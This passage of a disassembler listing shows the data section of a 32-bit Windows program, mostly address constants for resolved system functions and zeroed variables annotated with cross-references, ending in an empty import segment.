; DATA XREF: sub_50AB3D+A8o align 4 dword_511434 dd 19930520h, 500829h, 158h, 12F578h, 3 dup(0) ; DATA XREF: _5:004FC523o ; sub_4FC52A+2o off_511450 dd offset word_51145A ; DATA XREF: sub_4FC86E:loc_4FC8BDr ; sub_4FC86E:loc_4FC8CFr ... dd offset word_51145A db 2 dup(0) word_51145A dw 20h ; DATA XREF: _7:off_511450o ; _7:00511454o unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_51165C dd 1 ; DATA XREF: sub_4FC86E+3Cr ; sub_4FC9EA:loc_4FC9F2r ... dd 2Eh, 1, 2 dup(0) dword_511670 dd 77E64C09h ; DATA XREF: sub_4FD2E0+1DFw ; sub_4FD2E0+1F6r ... dword_511674 dd 950000h ; DATA XREF: _5:004FDED3w _5:004FDF0Fr dword_511678 dd 970000h ; DATA XREF: _5:004FDF0Aw _5:004FDF1Br dword_51167C dd 960000h ; DATA XREF: _5:004FDEF4w dword_511680 dd 2 ; DATA XREF: _5:004FE0BCr ; sub_504DC0+59r ... dword_511684 dd 941F18h ; DATA XREF: _5:004FE206r ; _5:loc_4FE28Fr ... dword_511688 dd 4FDB3Eh ; DATA XREF: sub_4FDE50+3r ; _5:004FDE6Fw dword_51168C dd 0FFFFFFFFh ; DATA XREF: sub_4FD2E0+213w ; sub_4FD2E0+387r ... dd 0 byte_511694 db 0 ; DATA XREF: _5:004FE2A1w ; sub_50581E+Er align 4 dword_511698 dd 8 ; DATA XREF: sub_4FD2E0+407w ; sub_504DC0:loc_504E0Dr off_51169C dd offset a_text ; DATA XREF: sub_4FD2E0+410w ; _5:loc_4FEC97r ... ; ".text" dword_5116A0 dd 0 ; DATA XREF: sub_4FE2E0+8B3o dword_5116A4 dd 77E77963h ; DATA XREF: sub_4FE2E0+3Aw ; sub_4FE2E0+881o ... dword_5116A8 dd 77E7A837h ; DATA XREF: sub_4FE2E0+4Ew ; _5:004FEC0Cr ... dword_5116AC dd 77E779B1h ; DATA XREF: sub_4FE2E0+62w ; sub_50B2FE+9Fr dword_5116B0 dd 77E77797h ; DATA XREF: sub_4FE2E0+76w ; _5:004FEC40r ... dword_5116B4 dd 77E776D3h ; DATA XREF: sub_4FE2E0+8Aw ; sub_50B4E0+2Cr dword_5116B8 dd 77E61BB8h ; DATA XREF: sub_4FE2E0+9Ew ; sub_5071C3+E6r dword_5116BC dd 77EB36A5h ; DATA XREF: sub_4FE2E0+B2w dword_5116C0 dd 77E73628h ; DATA XREF: sub_4FE2E0+C6w ; sub_4FF94C+2EAr ... dword_5116C4 dd 77F7E21Fh ; DATA XREF: sub_4FE2E0+DAw ; sub_4FF252+2Ar ... dword_5116C8 dd 77E75CB5h ; DATA XREF: sub_4FE2E0+EEw ; sub_50A0C8+AFr dword_5116CC dd 77E78EAAh ; DATA XREF: sub_4FE2E0+102w ; sub_502DD0+5E2r ... dword_5116D0 dd 77E75D9Eh ; DATA XREF: sub_4FE2E0+116w ; sub_4FF6DE+B4r ... dword_5116D4 dd 77E75E67h ; DATA XREF: sub_4FE2E0+12Aw ; sub_4FF6DE+DCr ... dword_5116D8 dd 77E73FF9h ; DATA XREF: sub_4FE2E0+13Ew ; sub_5061E1+CFEr dword_5116DC dd 77E76A60h ; DATA XREF: sub_4FE2E0+152w ; sub_5087CA+60r dword_5116E0 dd 77E80618h ; DATA XREF: sub_4FE2E0+166w ; sub_5058CF+163r ... dword_5116E4 dd 77E79C90h ; DATA XREF: sub_4FE2E0+17Aw ; sub_5071C3+4Br ... dword_5116E8 dd 77E80656h ; DATA XREF: sub_4FC216+15r ; sub_4FE2E0+18Ew ... dword_5116EC dd 77E7AC5Eh ; DATA XREF: sub_4FE2E0+1A2w dword_5116F0 dd 77E7FF65h ; DATA XREF: sub_4FE2E0+1B6w dword_5116F4 dd 77E74CABh ; DATA XREF: sub_4FE2E0+1CAw ; sub_50A7AF+16r dword_5116F8 dd 77E78536h ; DATA XREF: sub_4FE2E0+1DEw ; sub_50A7DD+84r dword_5116FC dd 77E72EA0h ; DATA XREF: sub_4FE2E0+1F2w ; sub_500858+83r ... dword_511700 dd 77E793EFh ; DATA XREF: sub_4FE2E0+206w ; _5:004FEC21r ... dword_511704 dd 77E73CE2h ; DATA XREF: sub_4FE2E0+21Aw ; sub_503610+720r dword_511708 dd 77E80357h ; DATA XREF: sub_4FE2E0+22Ew ; sub_4FF252+71r ... dword_51170C dd 77E781DBh ; DATA XREF: sub_4FE2E0+242w ; sub_50A226+92r dword_511710 dd 77F5157Dh ; DATA XREF: sub_4FE2E0+256w ; sub_5058CF+14Er ... dword_511714 dd 77E7A099h ; DATA XREF: sub_4FE2E0+26Aw ; _5:004FEE99r ... dword_511718 dd 77E79F93h ; DATA XREF: sub_4FC271+4Cr ; _5:004FDE79r ... dword_51171C dd 77E719F3h ; DATA XREF: sub_4FE2E0+292w ; sub_50AD0C+76r dword_511720 dd 77E61FD2h ; DATA XREF: sub_4FE2E0+2A6w ; sub_50AD93+3Br dword_511724 dd 77E72C64h ; DATA XREF: sub_4FE2E0+2BAw ; sub_50AC66+95r dword_511728 dd 77E7A5FDh ; DATA XREF: _5:004FDEA2r ; sub_4FE2E0+2CEw ... dword_51172C dd 77E6167Bh ; DATA XREF: sub_4FE2E0+2E2w ; sub_500C5C+97r ... dword_511730 dd 77E6AF8Fh ; DATA XREF: sub_4FE2E0+2F6w ; sub_4FF94C+1A6r dword_511734 dd 77E6AD34h ; DATA XREF: sub_4FE2E0+30Aw ; sub_4FF94C+193r ... dword_511738 dd 77E7C657h ; DATA XREF: sub_4FE2E0+31Ew dword_51173C dd 77E7751Ah ; DATA XREF: _5:004FDEDFr ; sub_4FE2E0+332w dword_511740 dd 77F516F8h ; DATA XREF: sub_4FE2E0+346w ; sub_50835A+1Fr dword_511744 dd 77F51597h ; DATA XREF: sub_4FE2E0+35Aw ; sub_5083DD+1Cr dword_511748 dd 77E7C726h ; DATA XREF: sub_4FE2E0+36Ew ; sub_508397+16r dword_51174C dd 77E79908h ; DATA XREF: sub_4FE2E0+382w ; sub_502DD0+2Er ... dword_511750 dd 77F53275h ; DATA XREF: sub_4FE2E0+396w ; sub_50B82A+2Br dword_511754 dd 77F7E300h ; DATA XREF: sub_4FE2E0+3AAw ; sub_4FF61F+5r ... dword_511758 dd 77E805B8h ; DATA XREF: sub_4FE2E0+3D2w ; sub_5061E1+17Fr dword_51175C dd 77E805D8h ; DATA XREF: sub_4FE2E0+3BEw ; sub_4FE2E0+5D0r ... dword_511760 dd 77E79881h ; DATA XREF: sub_4FE2E0+3E6w dword_511764 dd 77E79A45h ; DATA XREF: sub_4FE2E0+3FAw ; sub_508864+9r dword_511768 dd 77E64E2Bh ; DATA XREF: sub_4FE2E0+40Ew ; sub_50A741+23r dword_51176C dd 77E74D76h ; DATA XREF: sub_4FE2E0+422w ; _5:004FEC5Dr ... dword_511770 dd 77E77CCEh ; DATA XREF: sub_4FE2E0+436w ; sub_509A34+69r ... dword_511774 dd 77E706B7h ; DATA XREF: sub_4FE2E0+44Aw dword_511778 dd 77E6D706h ; DATA XREF: _5:004FDE93r _5:004FDEBCr ... dword_51177C dd 77E78B82h ; DATA XREF: sub_4FE2E0+472w ; _5:00500B0Br ... dword_511780 dd 77E6BD68h ; DATA XREF: sub_4FE2E0+486w dword_511784 dd 77E74A3Bh ; DATA XREF: sub_4FE2E0+49Aw ; sub_50B3FC+57r dword_511788 dd 77E78C81h ; DATA XREF: sub_4FE2E0+4AEw ; sub_500346+74r ... dword_51178C dd 77F51587h ; DATA XREF: sub_4FE2E0+4C2w ; sub_4FF252+3BCr ... dword_511790 dd 77E7C9E7h ; DATA XREF: sub_4FE2E0+4D6w ; sub_508C17+8r ... dword_511794 dd 77E61BE6h ; DATA XREF: sub_4FC271+137r ; sub_4FC271+16Ar ... dword_511798 dd 77E616B4h ; DATA XREF: sub_4FE2E0+4FEw ; sub_508401+2Dr ... dword_51179C dd 77E64EA0h ; DATA XREF: sub_4FE2E0+512w ; sub_50A77D+23r dword_5117A0 dd 77E75090h ; DATA XREF: sub_4FE2E0+526w ; sub_4FEDE4:loc_4FEDEEr ... dword_5117A4 dd 77E7980Ah ; DATA XREF: sub_4FE2E0+53Aw ; sub_4FFFBF+125r ... dword_5117A8 dd 77E79E34h ; DATA XREF: sub_4FE2E0+54Ew ; sub_4FFECD+91r ... dword_5117AC dd 77E6169Ah ; DATA XREF: sub_4FE2E0+562w ; sub_4FFFBF+14Br ... dword_5117B0 dd 77E7F044h ; DATA XREF: sub_4FE2E0+576w ; sub_508EF3+56r dword_5117B4 dd 77E79D5Bh ; DATA XREF: sub_4FE2E0+58Aw dword_5117B8 dd 77E79924h ; DATA XREF: sub_4FE2E0+59Ew ; sub_50A226+6Ar ... dword_5117BC dd 77E79D8Ch ; DATA XREF: sub_4FE2E0+5B2w ; sub_4FF94C+282r ... dword_5117C0 dd 77E76A2Eh ; DATA XREF: sub_4FE2E0+5C6w ; sub_501CC4+1E2r ... dword_5117C4 dd 77D98E9Ah ; DATA XREF: sub_4FE2E0+5FFw ; sub_508401+Br ... dword_5117C8 dd 77D44D9Bh ; DATA XREF: sub_4FE2E0+613w ; sub_4FF252+88r ... dword_5117CC dd 77D4D42Bh ; DATA XREF: sub_4FE2E0+627w ; sub_50B1EA+44r dword_5117D0 dd 77D6ADD7h ; DATA XREF: sub_4FE2E0+63Bw ; sub_508401+1Er ... dword_5117D4 dd 77D4C96Ah ; DATA XREF: sub_4FE2E0+64Fw ; sub_507494+5Dr ... dword_5117D8 dd 77D4C783h ; DATA XREF: sub_4FE2E0+663w ; sub_50848C+45r ... dword_5117DC dd 77C87425h ; DATA XREF: sub_4FE2E0+69Cw ; sub_4FF94C+2D4r dword_5117E0 dd 77C7212Fh ; DATA XREF: sub_4FC15E+41r ; sub_4FE2E0+6B0w ... dword_5117E4 dd 77C76551h ; DATA XREF: sub_4FE2E0+6C4w ; sub_505456+1D1r dword_5117E8 dd 77C72C6Bh ; DATA XREF: sub_4FC15E+8Ar ; sub_4FE2E0+6D8w ... dword_5117EC dd 77C87887h ; DATA XREF: sub_4FE2E0+6ECw ; sub_4FFD24+E6r ... dword_5117F0 dd 77D458EEh ; DATA XREF: sub_4FC15E+38r ; sub_4FE2E0+700w dword_5117F4 dd 77D458FDh ; DATA XREF: sub_4FC15E+97r ; sub_4FE2E0+714w dword_5117F8 dd 77C7506Dh ; DATA XREF: sub_4FC15E+2Br ; sub_4FC271+26r ... dword_5117FC dd 77C71BB0h ; DATA XREF: sub_4FC15E+53r ; sub_4FC15E+81r ... dword_511800 dd 77C72889h ; DATA XREF: sub_4FC271+175r ; sub_4FE2E0+750w dword_511804 dd 77C729E2h ; DATA XREF: sub_4FC15E+75r ; sub_4FE2E0+764w dword_511808 dd 77D45CBCh ; DATA XREF: sub_4FC216+Fr ; sub_4FE2E0+778w dword_51180C dd 77D48977h ; DATA XREF: sub_4FC216+41r ; sub_4FE2E0+78Cw dword_511810 dd 77D47F34h ; DATA XREF: sub_4FC216+4Ar ; sub_4FE2E0+7A0w dword_511814 dd 77D4DCCCh ; DATA XREF: sub_4FC271+5Cr ; sub_4FE2E0+7B4w dword_511818 dd 77D477C0h ; DATA XREF: sub_4FC271+64r ; sub_4FC271+6Fr ... dword_51181C dd 77D414D4h ; DATA XREF: sub_4FC271+E9r ; sub_4FE2E0+7DCw dword_511820 dd 77D44200h ; DATA XREF: sub_4FC271+105r ; sub_4FE2E0+7F0w dword_511824 dd 77D43DD3h ; DATA XREF: sub_4FC271+123r ; sub_4FE2E0+804w dword_511828 dd 77D441F2h ; DATA XREF: sub_4FC271+12Dr ; sub_4FE2E0+818w dword_51182C dd 77D49A11h ; DATA XREF: sub_4FC216+31r ; sub_4FE2E0+82Cw dword_511830 dd 77D47627h ; DATA XREF: sub_4FC271+157r ; sub_4FE2E0+840w dword_511834 dd 77D46F5Bh ; DATA XREF: sub_4FE2E0+854w dword_511838 dd 77D442CFh ; DATA XREF: _5:004FE2C7r ; sub_4FE2E0+868w dword_51183C dd 77E7AC37h ; DATA XREF: sub_4FC3F3+45r ; sub_4FE2E0+87Cw dword_511840 dd 0 ; DATA XREF: sub_4FE2E0+888o byte_511844 db 0 ; DATA XREF: sub_4FF166+69o ; sub_4FF166+7Fw ... align 4 dd 20h dup(0) dword_5118C8 dd 77FC5940h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_4FF252+25o ; sub_4FF61Fo ... dword_5118E0 dd 9C0538h ; DATA XREF: sub_4FFECD+25r ; sub_4FFECD+5Dr ... dword_5118E4 dd 9C00A8h ; DATA XREF: sub_4FF036+50r ; sub_4FF036+8Er ... dword_5118E8 dd 9C02F0h ; DATA XREF: sub_4FF94C:loc_4FFA1Er ; sub_4FF94C+10Br ... dword_5118EC dd 9C0780h ; DATA XREF: sub_4FF63E+7Er ; sub_4FF6DE+25r ... dword_5118F0 dd 0 ; DATA XREF: sub_502D50+8r ; sub_502D50+19r dword_5118F4 dd 0 ; DATA XREF: sub_502D50+10r dword_5118F8 dd 980048h ; DATA XREF: _5:00500A28r _5:00500AFFr ... dword_5118FC dd 990090h ; DATA XREF: sub_502DD0+660w ; _7:off_510B80o dword_511900 dd 9A0098h ; DATA XREF: sub_502DD0+67Ew ; _7:00510B98o dword_511904 dd 9B00A0h ; DATA XREF: sub_502DD0+69Dw ; _7:00510BB0o dword_511908 dd 942518h ; DATA XREF: sub_4FF252+34r ; sub_4FF252+5Er ... dword_51190C dd 943140h ; DATA XREF: sub_502DD0+227w ; sub_502DD0+235r ... dword_511910 dd 4000E0h ; DATA XREF: sub_503610+D8w ; sub_503610+DEr ... dword_511914 dd 0 ; DATA XREF: sub_504D70+4r ; sub_504D70+Cw ... dword_511918 dd 2 dup(0) ; DATA XREF: sub_4FC271+DDo ; sub_50AD0C+37o dword_511920 dd 0 ; DATA XREF: sub_507333+11r ; sub_507494+22w ... align 8 dword_511928 dd 0 ; DATA XREF: sub_505BD7+3ABw ; sub_505BD7+3DBw ... align 10h dword_511930 dd 77FC5880h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_4FD2E0+3B3o ; sub_5061E1+73o ... dword_511948 dd 0 ; DATA XREF: sub_507333+24w ; sub_507333+29r ... dword_51194C dd 9423B8h ; DATA XREF: sub_505BD7+22Ar ; sub_505FCD+12r ... dword_511950 dd 942478h ; DATA XREF: sub_509DD4+F6w dword_511954 dd 942418h ; DATA XREF: sub_5058CF+1Ar ; sub_505BD7:loc_505D97r ... dword_511958 dd 0 ; DATA XREF: sub_5061E1+D0Dw ; sub_5071C3+5Fr dword_51195C dd 0 ; DATA XREF: sub_5058A0+3r ; sub_5058A0+1Dw ... dword_511960 dd 0 ; DATA XREF: sub_505BD7+3B5r ; sub_505BD7+3C6w ... dword_511964 dd 0 ; DATA XREF: sub_5061E1+82r ; sub_5061E1+E3r ... dword_511968 dd 0 ; DATA XREF: sub_5061E1+105r ; sub_5061E1+10Bw ... dword_51196C dd 0 ; DATA XREF: sub_50613C+5r ; sub_50614D+Ar ... dword_511970 dd 0 ; DATA XREF: sub_507333+9Br ; sub_507494+9Ew ... dword_511974 dd 0 ; DATA XREF: sub_507333+A8r ; sub_507494+CCw ... dword_511978 dd 0 ; DATA XREF: sub_507333+BAr ; sub_507494+FAw ... dword_51197C dd 0 ; DATA XREF: sub_507333+D4r ; sub_507494+128w ... dword_511980 dd 0 ; DATA XREF: sub_507333+F0r ; sub_507333+10Cr ... dword_511984 dd 0 ; DATA XREF: sub_507333+11Er ; sub_507333+135r ... dword_511988 dd 0 ; DATA XREF: sub_507333+3Fr ; sub_507494+1B2w ... dword_51198C dd 0 ; DATA XREF: sub_507333+5Dr ; sub_507494+1E0w ... dword_511990 dd 0 ; DATA XREF: sub_507333+13Dr ; sub_507494+20Ew ... dword_511994 dd 0 ; DATA XREF: sub_507333+1Er ; sub_507494+23Cw ... dword_511998 dd 0 ; DATA XREF: sub_507333+C2r ; sub_507333+FFr ... dword_51199C dd 0 ; DATA XREF: sub_507333+6Br ; sub_507494+298w ... dword_5119A0 dd 20h dup(0) ; DATA XREF: sub_507333+CFo ; sub_507494+45o ... dword_511A20 dd 0 ; DATA XREF: sub_508892+27w ; sub_508892+32r align 8 dword_511A28 dd 77FC5860h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_4FD2E0+3A8o ; sub_50848C+6o ... byte_511A40 db 0 ; DATA XREF: sub_508892+7r ; sub_508892+15r ... align 4 dword_511A44 dd 940000h ; DATA XREF: sub_508397+4r ; sub_508397+22w ... dword_511A48 dd 62Bh dup(0) ; DATA XREF: sub_50848C+11o ; sub_5084F7+5o dword_5132F4 dd 894h dup(0) ; CODE XREF: _6:0050E2F8j db 0 byte_515545 db 3 dup(0) ; DATA XREF: _2:0045469Co dd 140h dup(0) dword_515A48 dd 0 ; DATA XREF: sub_508892+7Cr ; sub_508892+82w ... align 10h dword_515A50 dd 0 ; DATA XREF: sub_4FC15E+25r ; sub_4FC15E+4Ar ... dword_515A54 dd 0 ; DATA XREF: sub_4FC216+23r ; sub_4FC216+2Br ... dword_515A58 dd 2 dup(0) ; DATA XREF: sub_4FC3F3+32o dword_515A60 dd 0 ; DATA XREF: sub_4FC271+2Cw ; sub_4FC271+57o align 8 dword_515A68 dd 0 ; DATA XREF: sub_4FC271+36w dd 2 dup(0) dword_515A74 dd 0 ; DATA XREF: sub_4FC271+52w dd 4 dup(0) dword_515A88 dd 0 ; DATA XREF: sub_4FC271+40w align 10h dword_515A90 dd 0ECh dup(0) ; DATA XREF: sub_508EF3+28o ; sub_508EF3+42o ... byte_515E40 db 0 ; DATA XREF: sub_5090EF+71w ; sub_5090EF+8Fr byte_515E41 db 0 ; DATA XREF: sub_5090EF+7Bw byte_515E42 db 0 ; DATA XREF: sub_5090EF+85w align 4 dd 13h dup(0) dword_515E90 dd 42h dup(0) ; DATA XREF: sub_5090EF+Bo ; sub_5090EF+17o ... dword_515F98 dd 40h dup(0) ; DATA XREF: sub_509638+ABo ; sub_50971C+5Do dword_516098 dd 77FC5A00h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_509638+25o ; sub_509696o ... dword_5160B0 dd 0 ; DATA XREF: sub_509638+34r ; sub_509638+4Ew ... align 8 dword_5160B8 dd 77FC59E0h, 0 ; DATA XREF: sub_509DD4+6o ; sub_50A0C8+25o dd 1, 0DCh, 2 dup(0) byte_5160D0 db 1 ; DATA XREF: sub_509C54:loc_509C64r ; sub_50A0C8+30w align 4 dword_5160D4 dd 942110h ; DATA XREF: sub_5053D0+Dr ; sub_5053D0+26r ... dword_5160D8 dd 942358h ; DATA XREF: sub_5050D0+264r ; sub_509DD4+72w ... dword_5160DC dd 0 ; DATA XREF: sub_4FD2E0+3FDw dword_5160E0 dd 0 ; DATA XREF: sub_50B677+2Fw ; sub_50B677+47r byte_5160E4 db 0 ; DATA XREF: sub_50B677+4r ; sub_50B677+12r ... align 4 dword_5160E8 dd 0 ; DATA XREF: sub_4FCA80+28r ; sub_4FCA80+4Cw ... dd 2 dup(0) dword_5160F4 dd 0 ; DATA XREF: sub_4FC86E+4r ; sub_4FC86E+9Dr ... dd 3 dup(0) dword_516104 dd 0 ; DATA XREF: sub_4FCA80+C0r ; sub_4FCDBF+A6r dd 0 dword_51610C dd 0 ; DATA XREF: sub_4FCDBF+26r ; sub_4FCDBF:loc_4FCE29w _7 ends ; Section 9. (virtual address 00117000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00116200 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 517000h align 2000h _idata2 ends end start